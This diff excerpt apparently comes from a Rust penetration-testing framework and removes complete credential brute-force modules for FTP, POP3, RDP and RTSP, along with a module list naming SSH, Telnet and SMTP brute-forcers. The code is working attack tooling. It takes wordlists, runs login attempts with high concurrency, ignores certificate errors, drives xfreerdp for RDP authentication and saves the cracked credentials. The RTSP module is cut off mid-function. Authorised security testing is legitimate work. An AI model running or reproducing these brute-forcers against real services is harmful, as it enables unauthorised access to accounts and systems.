.map_err(|e| anyhow!("FTPS TLS upgrade failed: {}", e))?;
match ftps.login("anonymous", "anonymous").await {
Ok(_) => {
println!("[+] Anonymous login successful (FTPS)");
let _ = ftps.quit().await;
}
Err(e) if e.to_string().contains("530") => {
println!("[-] Anonymous login rejected (FTPS)");
}
Err(e) => return Err(anyhow!("FTPS login error: {}", e)),
}
Ok(())
}
-398
View File
@@ -1,398 +0,0 @@
use anyhow::{anyhow, Result};
use colored::*;
use suppaftp::{
AsyncFtpStream,
AsyncNativeTlsFtpStream,
AsyncNativeTlsConnector,
};
use suppaftp::async_native_tls::TlsConnector;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
path::PathBuf,
sync::Arc, // Keep Arc
};
use tokio::{
sync::{Mutex, Semaphore}, // Import Semaphore
time::{sleep, Duration}
};
use std::path::Path;
use sysinfo::System;
use futures::stream::{FuturesUnordered, StreamExt};
async fn dynamic_throttle(running: usize, max_concurrency: usize) {
let mut system = System::new_all();
system.refresh_all();
let cpu_count = system.cpus().len();
let cpu_usage = if cpu_count > 0 {
system.cpus().iter().map(|cpu| cpu.cpu_usage()).sum::<f32>() / cpu_count as f32
} else {
0.0
};
let total_memory = system.total_memory();
let ram_used = if total_memory > 0 {
system.used_memory() as f32 / total_memory as f32
} else {
0.0
};
if cpu_usage > 80.0 || ram_used > 0.8 {
sleep(Duration::from_millis(50)).await;
} else if cpu_usage > 60.0 || ram_used > 0.6 {
sleep(Duration::from_millis(25)).await;
} else if running > max_concurrency { // This condition is now less critical for preventing "too many open files"
sleep(Duration::from_millis(10)).await;
} else {
sleep(Duration::from_millis(1)).await;
}
}
/// Format IPv4 or IPv6 addresses with port
fn format_addr(target: &str, port: u16) -> String {
if target.starts_with('[') && target.contains("]:") {
target.to_string()
} else if target.matches(':').count() == 1 && !target.contains('[') {
target.to_string()
} else {
let clean_target = if target.starts_with('[') && target.ends_with(']') {
&target[1..target.len() - 1]
} else {
target
};
if clean_target.contains(':') {
format!("[{}]:{}", clean_target, port)
} else {
format!("{}:{}", clean_target, port)
}
}
}
pub async fn run(target: &str) -> Result<()> {
println!("=== FTP Brute Force Module ===");
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("FTP Port", "21")?;
if let Ok(p) = input.parse() { break p }
println!("Invalid port. Try again.");
};
let usernames_file = prompt_required("Username wordlist")?;
let passwords_file = prompt_required("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "500")?;
if let Ok(n) = input.parse::<usize>() {
if n > 0 { break n }
}
println!("Invalid number. Try again.");
};
// Create a semaphore to limit concurrent network operations
let semaphore = Arc::new(Semaphore::new(concurrency));
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "ftp_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode (user × pass)?", false)?;
let addr = format_addr(target, port);
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(Mutex::new(false));
println!("\n[*] Starting brute-force on {}", addr);
let users = load_lines(&usernames_file)?;
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
let passes = load_lines(&passwords_file)?;
if passes.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
let mut tasks = FuturesUnordered::new();
if combo_mode {
for user in &users {
if *stop.lock().await && stop_on_success { break; }
for pass in &passes {
if *stop.lock().await && stop_on_success { break; }
let addr_clone = addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let semaphore_clone = Arc::clone(&semaphore); // Clone semaphore for the task
tasks.push(tokio::spawn(async move {
// Acquire a permit. This will block if `concurrency` limit is reached.
let _permit = semaphore_clone.acquire().await.expect("Failed to acquire semaphore permit");
// Proceed with the task logic only after a permit is acquired
if *stop_clone.lock().await && stop_on_success { return; }
match try_ftp_login(&addr_clone, &user_clone, &pass_clone).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
found_clone.lock().await.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
if stop_on_success {
*stop_clone.lock().await = true;
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
}
Err(e) => {
log(verbose, &format!("[!] {}: error: {}", addr_clone, e));
}
}
// Permit is automatically released when `_permit` goes out of scope here
}));
}
}
} else { // Line-by-line mode
if !users.is_empty() || passes.is_empty() {
for (i, pass) in passes.iter().enumerate() {
if *stop.lock().await && stop_on_success { break; }
let user = if users.is_empty() { continue; } else {
users.get(i % users.len()).expect("User list modulus logic error").clone()
};
let addr_clone = addr.clone();
let pass_clone = pass.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let semaphore_clone = Arc::clone(&semaphore); // Clone semaphore
tasks.push(tokio::spawn(async move {
// Acquire a permit
let _permit = semaphore_clone.acquire().await.expect("Failed to acquire semaphore permit");
if *stop_clone.lock().await && stop_on_success { return; }
match try_ftp_login(&addr_clone, &user, &pass_clone).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr_clone, user, pass_clone);
found_clone.lock().await.push((addr_clone.clone(), user.clone(), pass_clone.clone()));
if stop_on_success {
*stop_clone.lock().await = true;
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{}", addr_clone, user, pass_clone));
}
Err(e) => {
log(verbose, &format!("[!] {}: error: {}", addr_clone, e));
}
}
// Permit released
}));
}
}
}
let mut processed_tasks_count = 0;
while let Some(res) = tasks.next().await {
dynamic_throttle(processed_tasks_count, concurrency).await; // Still useful for CPU/RAM based throttling
if let Err(e) = res {
log(verbose, &format!("[!] Task panicked (likely due to forced shutdown or internal error): {}", e));
}
processed_tasks_count += 1;
// (stop logic can remain)
}
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
} else {
println!("\n[+] Valid credentials:");
for (host, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host, user, pass);
}
if let Some(path) = save_path {
let file_path = get_filename_in_current_dir(&path);
match File::create(&file_path) {
Ok(mut file) => {
for (host, user, pass) in creds.iter() {
if writeln!(file, "{} -> {}:{}", host, user, pass).is_err() {
eprintln!("[!] Error writing to result file '{}'", file_path.display());
break;
}
}
println!("[+] Results saved to '{}'", file_path.display());
}
Err(e) => {
eprintln!("[!] Could not create or write to result file '{}': {}", file_path.display(), e);
}
}
}
}
Ok(())
}
async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
// (try_ftp_login function remains unchanged from your last working version)
// Attempt 1: Plain FTP
match AsyncFtpStream::connect(addr).await {
Ok(mut ftp) => {
match ftp.login(user, pass).await {
Ok(_) => {
let _ = ftp.quit().await;
return Ok(true);
}
Err(e) => {
let msg = e.to_string();
if msg.contains("530") {
return Ok(false);
} else if msg.contains("550 SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
log(true, &format!("[i] {} - Plain FTP login indicated TLS required. Attempting FTPS...", addr));
} else if msg.contains("421") {
println!("[-] {} - Server reported too many connections (421). Sleeping briefly...", addr);
sleep(Duration::from_secs(2)).await;
return Ok(false);
} else {
// Log network errors if verbose, otherwise they might be too noisy
log(true, &format!("[!] FTP login error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
return Err(anyhow!("FTP login error: {}", msg));
}
}
}
}
Err(e) => {
let msg = e.to_string();
if msg.contains("SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
log(true, &format!("[i] {} - Plain FTP connection indicated TLS required. Attempting FTPS...", addr));
} else if msg.contains("421") {
println!("[-] {} - Server reported too many connections during connect (421). Sleeping briefly...", addr);
sleep(Duration::from_secs(2)).await;
return Ok(false);
} else {
// Log network errors if verbose
log(true, &format!("[!] FTP connection error to {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
return Err(anyhow!("FTP connection error: {}", msg));
}
}
}
// 2️⃣ Only if needed, try FTPS
log(true, &format!("[i] {} Attempting FTPS login for user '{}'", addr, user));
let mut ftp_tls = AsyncNativeTlsFtpStream::connect(addr)
.await
.map_err(|e| {
log(true, &format!("[!] FTPS base connect failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e));
anyhow!("FTPS base connect failed: {}", e)
})?;
let connector = AsyncNativeTlsConnector::from(
TlsConnector::new()
.danger_accept_invalid_certs(true)
.danger_accept_invalid_hostnames(true),
);
let domain = addr
.trim_start_matches('[')
.split(&[']', ':'][..])
.next()
.unwrap_or(addr);
ftp_tls = ftp_tls
.into_secure(connector, domain)
.await
.map_err(|e| {
log(true, &format!("[!] TLS upgrade failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e));
anyhow!("TLS upgrade failed: {}", e)
})?;
match ftp_tls.login(user, pass).await {
Ok(_) => {
let _ = ftp_tls.quit().await;
Ok(true)
}
Err(e) => {
let msg = e.to_string();
if msg.contains("530") {
Ok(false)
} else {
log(true, &format!("[!] FTPS error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
Err(anyhow!("FTPS error: {}", msg))
}
}
}
}
// === Helpers === (prompt_required, prompt_default, prompt_yes_no, load_lines, log, get_filename_in_current_dir remain unchanged)
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
}
println!("{}", "This field is required.".yellow());
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default.to_string()
} else {
trimmed.to_string()
})
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
match input.as_str() {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow()),
}
}
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path.as_ref()).map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(|line| line.ok().map(|s| s.trim().to_string()))
.filter(|line| !line.is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input: &str) -> PathBuf {
Path::new(input)
.file_name()
.map(|name_os_str| PathBuf::from(format!("./{}", name_os_str.to_string_lossy())))
.unwrap_or_else(|| PathBuf::from(input))
}
-11
View File
@@ -1,11 +0,0 @@
pub mod sample_cred_check;
pub mod ftp_bruteforce;
pub mod ftp_anonymous;
pub mod telnet_bruteforce;
pub mod ssh_bruteforce;
pub mod rtsp_bruteforce_advanced;
pub mod rdp_bruteforce;
pub mod enablebruteforce;
pub mod smtp_bruteforce;
pub mod pop3_bruteforce;
@@ -1,223 +0,0 @@
use anyhow::{Result, Context};
use regex::Regex;
use std::fs::{File, OpenOptions};
use std::io::{self, BufRead, BufReader, Write, Read};
use std::net::{TcpStream, ToSocketAddrs};
use std::sync::{Arc, Mutex};
use std::time::Duration;
use threadpool::ThreadPool;
use crossbeam_channel::unbounded;
use native_tls::TlsConnector;
#[derive(Clone)]
struct Pop3BruteforceConfig {
target: String,
port: u16,
username_wordlist: String,
password_wordlist: String,
threads: usize,
stop_on_success: bool,
verbose: bool,
full_combo: bool,
use_ssl: bool,
}
pub async fn run(target: &str) -> Result<()> {
println!("\n=== POP3 Bruteforce ===\n");
let port = prompt("Port (default 110 for POP3, 995 for POP3S): ").parse().unwrap_or(110);
let username_wordlist = prompt("Username wordlist file: ");
let password_wordlist = prompt("Password wordlist file: ");
let threads = prompt("Threads (default 16): ").parse().unwrap_or(16);
let stop_on_success = prompt("Stop on first valid login? (y/n): ").trim().eq_ignore_ascii_case("y");
let full_combo = prompt("Try all combos? (y/n): ").trim().eq_ignore_ascii_case("y");
let verbose = prompt("Verbose? (y/n): ").trim().eq_ignore_ascii_case("y");
let use_ssl = prompt("Use SSL/TLS (POP3S)? (y/n): ").trim().eq_ignore_ascii_case("y");
let config = Pop3BruteforceConfig {
target: target.to_string(),
port,
username_wordlist,
password_wordlist,
threads,
stop_on_success,
verbose,
full_combo,
use_ssl,
};
run_pop3_bruteforce(config)
}
fn run_pop3_bruteforce(config: Pop3BruteforceConfig) -> Result<()> {
let addr = normalize_target(&config.target, config.port)?;
let host = get_hostname(&config.target);
let usernames = read_lines(&config.username_wordlist)?;
let passwords = read_lines(&config.password_wordlist)?;
if usernames.is_empty() || passwords.is_empty() {
return Err(anyhow::anyhow!("Empty user or pass wordlist."));
}
let found = Arc::new(Mutex::new(Vec::new()));
let stop_flag = Arc::new(Mutex::new(false));
let pool = ThreadPool::new(config.threads);
let (tx, rx) = unbounded();
if config.full_combo {
for u in &usernames { for p in &passwords { tx.send((u.clone(), p.clone()))?; } }
} else if usernames.len() == 1 {
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
} else if passwords.len() == 1 {
for u in &usernames { tx.send((u.clone(), passwords[0].clone()))?; }
} else {
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
}
drop(tx);
for _ in 0..config.threads {
let rx = rx.clone();
let addr = addr.clone();
let host = host.clone();
let stop_flag = Arc::clone(&stop_flag);
let found = Arc::clone(&found);
let config = config.clone();
pool.execute(move || {
while let Ok((user, pass)) = rx.recv() {
if *stop_flag.lock().unwrap() { break; }
if config.verbose { println!("[*] Trying {}:{}", user, pass); }
let result = if config.use_ssl {
try_pop3s_login_verbose(&addr, &host, &user, &pass, config.verbose)
} else {
try_pop3_login_verbose(&addr, &user, &pass, config.verbose)
};
match result {
Ok(true) => {
println!();
println!("[+] VALID: {}:{}", user, pass);
let mut creds = found.lock().unwrap(); creds.push((user.clone(), pass.clone()));
if config.stop_on_success {
*stop_flag.lock().unwrap() = true;
while rx.try_recv().is_ok() {}
break;
}
}
Ok(false) => {}
Err(e) => if config.verbose { eprintln!("[!] {}:{}: {}", user, pass, e); },
}
}
});
}
pool.join();
let found = found.lock().unwrap();
if found.is_empty() {
println!("[-] No valid credentials.");
} else {
println!();
println!("[+] Found:");
for (u,p) in found.iter() { println!("{}:{}", u, p); }
if prompt("Save found? (y/n): ").trim().eq_ignore_ascii_case("y") {
let f = prompt("Filename: ");
save_results(&f, &found)?;
println!("[+] Saved to {}", f);
}
}
Ok(())
}
// Standard POP3 login, plaintext
fn try_pop3_login_verbose(addr: &str, username: &str, password: &str, verbose: bool) -> Result<bool> {
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
let mut stream = TcpStream::connect_timeout(&socket, Duration::from_millis(4000)).context("Connect timeout")?;
stream.set_read_timeout(Some(Duration::from_millis(4000))).ok();
stream.set_write_timeout(Some(Duration::from_millis(4000))).ok();
pop3_session(&mut stream, username, password, verbose)
}
// POP3S (SSL/TLS)
fn try_pop3s_login_verbose(addr: &str, host: &str, username: &str, password: &str, verbose: bool) -> Result<bool> {
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(4000)).context("Connect timeout")?;
let connector = TlsConnector::new().unwrap();
let mut stream = connector.connect(host, stream).context("SSL connect fail")?;
stream.get_ref().set_read_timeout(Some(Duration::from_millis(4000))).ok();
stream.get_ref().set_write_timeout(Some(Duration::from_millis(4000))).ok();
pop3_session(&mut stream, username, password, verbose)
}
// Shared POP3 session logic for both plain and SSL
fn pop3_session<S: Read + Write>(stream: &mut S, username: &str, password: &str, verbose: bool) -> Result<bool> {
let mut buf = [0u8; 4096];
// Banner
let n = stream.read(&mut buf)?;
let banner = String::from_utf8_lossy(&buf[..n]);
if verbose { print!("-> {}\n", banner.trim_end()); }
if !banner.to_ascii_lowercase().contains("+ok") {
return Err(anyhow::anyhow!("No +OK banner: {}", banner));
}
// USER
let user_cmd = format!("USER {}\r\n", username);
stream.write_all(user_cmd.as_bytes())?;
if verbose { print!("<- {}", user_cmd); }
let n = stream.read(&mut buf)?;
let resp = String::from_utf8_lossy(&buf[..n]);
if verbose { print!("-> {}\n", resp.trim_end()); }
if !resp.to_ascii_lowercase().contains("+ok") {
return Ok(false);
}
// PASS
let pass_cmd = format!("PASS {}\r\n", password);
stream.write_all(pass_cmd.as_bytes())?;
if verbose { print!("<- {}", pass_cmd); }
let n = stream.read(&mut buf)?;
let resp = String::from_utf8_lossy(&buf[..n]);
if verbose { print!("-> {}\n", resp.trim_end()); }
// Hardened login detection:
let reply = resp.to_ascii_lowercase();
if reply.contains("+ok")
&& !reply.contains("error")
&& !reply.contains("fail")
&& !reply.contains("denied")
&& !reply.contains("invalid")
&& !reply.contains("authentication required")
&& !reply.contains("locked") {
// Only consider true success if reply says +OK and has no error/fail/invalid/denied
if verbose {
stream.write_all(b"STAT\r\n").ok();
let n = stream.read(&mut buf).unwrap_or(0);
if n > 0 { print!("-> {}\n", String::from_utf8_lossy(&buf[..n]).trim_end()); }
stream.write_all(b"LIST\r\n").ok();
let n = stream.read(&mut buf).unwrap_or(0);
if n > 0 { print!("-> {}\n", String::from_utf8_lossy(&buf[..n]).trim_end()); }
stream.write_all(b"QUIT\r\n").ok();
let n = stream.read(&mut buf).unwrap_or(0);
if n > 0 { print!("-> {}\n", String::from_utf8_lossy(&buf[..n]).trim_end()); }
} else {
stream.write_all(b"QUIT\r\n").ok();
}
return Ok(true);
}
Ok(false)
}
fn read_lines(path: &str) -> Result<Vec<String>> {
let file = File::open(path).context(format!("Open: {}", path))?;
Ok(BufReader::new(file).lines().filter_map(Result::ok).filter(|s|!s.trim().is_empty()).collect())
}
fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
let mut file = OpenOptions::new().create(true).write(true).truncate(true).open(path)?;
for (u,p) in creds { writeln!(file, "{}:{}", u, p)?; }
Ok(())
}
fn prompt(msg: &str) -> String {
print!("{}", msg); io::stdout().flush().unwrap(); let mut b = String::new(); io::stdin().read_line(&mut b).unwrap(); b.trim().to_string()
}
fn normalize_target(host: &str, port: u16) -> Result<String> {
let re = Regex::new(r"^\[*([^\]]+?)\]*(?::(\d{1,5}))?$" ).unwrap();
let t = host.trim();
let cap = re.captures(t).ok_or_else(|| anyhow::anyhow!("Invalid target: {}", host))?;
let addr = cap.get(1).unwrap().as_str();
let p = cap.get(2).map(|m| m.as_str().parse::<u16>().ok()).flatten().unwrap_or(port);
let f = if addr.contains(':') && !addr.starts_with('[') { format!("[{}]:{}", addr, p) } else { format!("{}:{}", addr, p) };
if f.to_socket_addrs()?.next().is_none() { Err(anyhow::anyhow!("DNS fail: {}", f)) } else { Ok(f) }
}
fn get_hostname(target: &str) -> String {
if let Some(idx) = target.find(':') { target[..idx].trim_matches('[').trim_matches(']').to_string() } else { target.trim_matches('[').trim_matches(']').to_string() }
}
-271
View File
@@ -1,271 +0,0 @@
use anyhow::Result;
use colored::*;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
path::{Path, PathBuf},
sync::Arc,
};
use tokio::{
process::Command,
sync::{Mutex, Semaphore},
time::{sleep, Duration},
};
pub async fn run(target: &str) -> Result<()> {
println!("=== RDP Brute Force Module ===");
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("RDP Port", "3389")?;
match input.parse() {
Ok(p) => break p,
Err(_) => println!("Invalid port. Please enter a number."),
}
};
let usernames_file_path = prompt_required("Username wordlist path")?;
let passwords_file_path = prompt_required("Password wordlist path")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Must be greater than 0."),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file name", "rdp_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?;
let addr = format_socket_address(target, port);
let found_credentials = Arc::new(Mutex::new(Vec::new()));
let stop_signal = Arc::new(Mutex::new(false));
println!("\n[*] Starting brute-force on {}", addr);
let users = load_lines(&usernames_file_path)?;
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
let passwords = load_lines(&passwords_file_path)?;
if passwords.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
let semaphore = Arc::new(Semaphore::new(concurrency));
let mut handles = vec![];
let mut user_cycle_idx = 0;
'password_loop: for pass in passwords {
if *stop_signal.lock().await {
break 'password_loop;
}
let current_users_for_this_pass = if combo_mode {
users.clone()
} else {
let user_for_this_pass = users[user_cycle_idx % users.len()].clone();
user_cycle_idx += 1;
vec![user_for_this_pass]
};
for user in current_users_for_this_pass {
if *stop_signal.lock().await {
break 'password_loop; // Break outer loop if stopping
}
let permit = Arc::clone(&semaphore).acquire_owned().await?;
let addr_clone = addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let found_credentials_clone = Arc::clone(&found_credentials);
let stop_signal_clone = Arc::clone(&stop_signal);
let handle = tokio::spawn(async move {
let _permit_guard = permit; // Permit dropped when task finishes
if *stop_signal_clone.lock().await {
return;
}
match try_rdp_login(&addr_clone, &user_clone, &pass_clone).await {
Ok(true) => {
println!("[+] SUCCESS: {} -> {}:{}", addr_clone, user_clone, pass_clone);
let mut found = found_credentials_clone.lock().await;
found.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
if stop_on_success {
*stop_signal_clone.lock().await = true;
}
}
Ok(false) => {
log(verbose, &format!("[-] ATTEMPT: {} -> {}:{}", addr_clone, user_clone, pass_clone));
}
Err(e) => {
log(verbose, &format!("[!] ERROR for {}:{}/{}: {}", addr_clone, user_clone, pass_clone, e));
}
}
sleep(Duration::from_millis(10)).await;
});
handles.push(handle);
}
}
for handle in handles {
handle.await?; // Propagate JoinErrors if any task panicked
}
let creds = found_credentials.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
} else {
println!("\n[+] Valid credentials found:");
for (host_addr, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host_addr, user, pass);
}
if let Some(path_str) = save_path {
let filename = get_filename_in_current_dir(&path_str);
match File::create(&filename) {
Ok(mut file) => {
for (host_addr, user, pass) in creds.iter() {
if writeln!(file, "{} -> {}:{}", host_addr, user, pass).is_err() {
eprintln!("[!] Error writing to result file: {}", filename.display());
break;
}
}
println!("[+] Results saved to '{}'", filename.display());
}
Err(e) => {
eprintln!("[!] Could not create output file '{}': {}", filename.display(), e);
}
}
}
}
Ok(())
}
async fn try_rdp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
let mut child = Command::new("xfreerdp")
.arg(format!("/v:{}", addr))
.arg(format!("/u:{}", user))
.arg(format!("/p:{}", pass))
.arg("/cert:ignore")
.arg("/timeout:5000")
.arg("+auth-only") // Attempt authentication without full desktop session
.arg("/log-level:OFF")
.stdout(std::process::Stdio::null())
.stderr(std::process::Stdio::null()) // Suppress stderr as well for cleaner output unless specific errors are parsed
.spawn()?;
let status = child.wait().await?;
Ok(status.success())
}
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("{}", "This field is required. Please provide a value.".yellow());
}
}
}
fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default_val).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default_val.to_string()
} else {
trimmed.to_string()
})
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let options = if default_yes { "(Y/n)" } else { "(y/N)" };
loop {
print!("{}", format!("{} {} : ", msg, options).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("{}", "Invalid input. Please enter 'y', 'yes', 'n', or 'no'.".yellow());
}
}
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path.as_ref())
.map_err(|e| anyhow::anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.map(|line| line.trim().to_string())
.filter(|line| !line.is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
let path = Path::new(input_path_str);
let filename_component = path
.file_name()
.map(|os_str| os_str.to_string_lossy())
.unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str)); // Fallback to input if no filename part
let final_name = if filename_component.is_empty()
|| filename_component == "."
|| filename_component == ".."
|| filename_component.contains('/') // Ensure it's not a path segment
|| filename_component.contains('\\')
{
"rdp_brute_results.txt" // A robust default filename
} else {
filename_component.as_ref()
};
PathBuf::from(format!("./{}", final_name))
}
fn format_socket_address(ip: &str, port: u16) -> String {
let trimmed_ip = ip.trim_matches(|c| c == '[' || c == ']');
if trimmed_ip.contains(':') && !trimmed_ip.contains("]:") { // Basic IPv6 check, avoid re-bracketing if port already there
format!("[{}]:{}", trimmed_ip, port)
} else {
format!("{}:{}", trimmed_ip, port)
}
}
@@ -1,374 +0,0 @@
use anyhow::{anyhow, Result};
use base64::engine::general_purpose::STANDARD as Base64;
use base64::Engine as _;
use colored::*;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
net::SocketAddr,
path::{Path, PathBuf},
sync::Arc,
};
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::TcpStream,
sync::Mutex,
time::{sleep, Duration},
};
/// Main entry point for the advanced RTSP brute force module.
pub async fn run(target: &str) -> Result<()> {
println!("=== Advanced RTSP Brute Force Module ===");
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("RTSP Port", "554")?;
match input.parse() {
Ok(p) => break p,
Err(_) => println!("Invalid port. Try again."),
}
};
let usernames_file = prompt_required("Username wordlist")?;
let passwords_file = prompt_required("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Try again."),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "rtsp_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
let advanced_mode = prompt_yes_no("Use advanced RTSP commands/headers (DESCRIBE + custom headers)?", false)?;
let mut advanced_headers: Vec<String> = Vec::new();
let advanced_command = if advanced_mode {
let method = prompt_default("RTSP method to use (e.g. DESCRIBE)", "DESCRIBE")?;
if prompt_yes_no("Load extra RTSP headers from a file?", false)? {
let headers_path = prompt_required("Path to RTSP headers file")?;
advanced_headers = load_lines(&headers_path)?;
}
Some(method)
} else {
None
};
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
let mut paths = if brute_force_paths {
let paths_file = prompt_required("Path to RTSP paths file")?;
load_lines(&paths_file)?
} else {
vec!["".to_string()]
};
if paths.is_empty() {
println!("[!] RTSP paths list is empty. Falling back to default root path.");
paths.push(String::new());
}
let addr = format!("{}:{}", target, port);
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(Mutex::new(false));
println!("\n[*] Starting brute-force on {}", addr);
let users = load_lines(&usernames_file)?;
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
let pass_lines: Vec<String> = BufReader::new(File::open(&passwords_file)?)
.lines()
.filter_map(|line| line.ok().map(|s| s.trim().to_string()))
.filter(|line| !line.is_empty())
.collect();
if pass_lines.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
let mut idx = 0;
for pass in pass_lines {
if *stop.lock().await {
break;
}
let userlist = if combo_mode {
users.clone()
} else {
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
};
let mut handles = vec![];
for user in userlist {
for path in &paths {
if *stop.lock().await {
break;
}
let addr = addr.clone();
let user = user.clone();
let pass = pass.clone();
let path = path.clone();
let found = Arc::clone(&found);
let stop = Arc::clone(&stop);
let command = advanced_command.clone();
let headers = advanced_headers.clone();
let handle = tokio::spawn(async move {
if *stop.lock().await {
return;
}
match try_rtsp_login(&addr, &user, &pass, &path, command.as_deref(), &headers).await {
Ok(true) => {
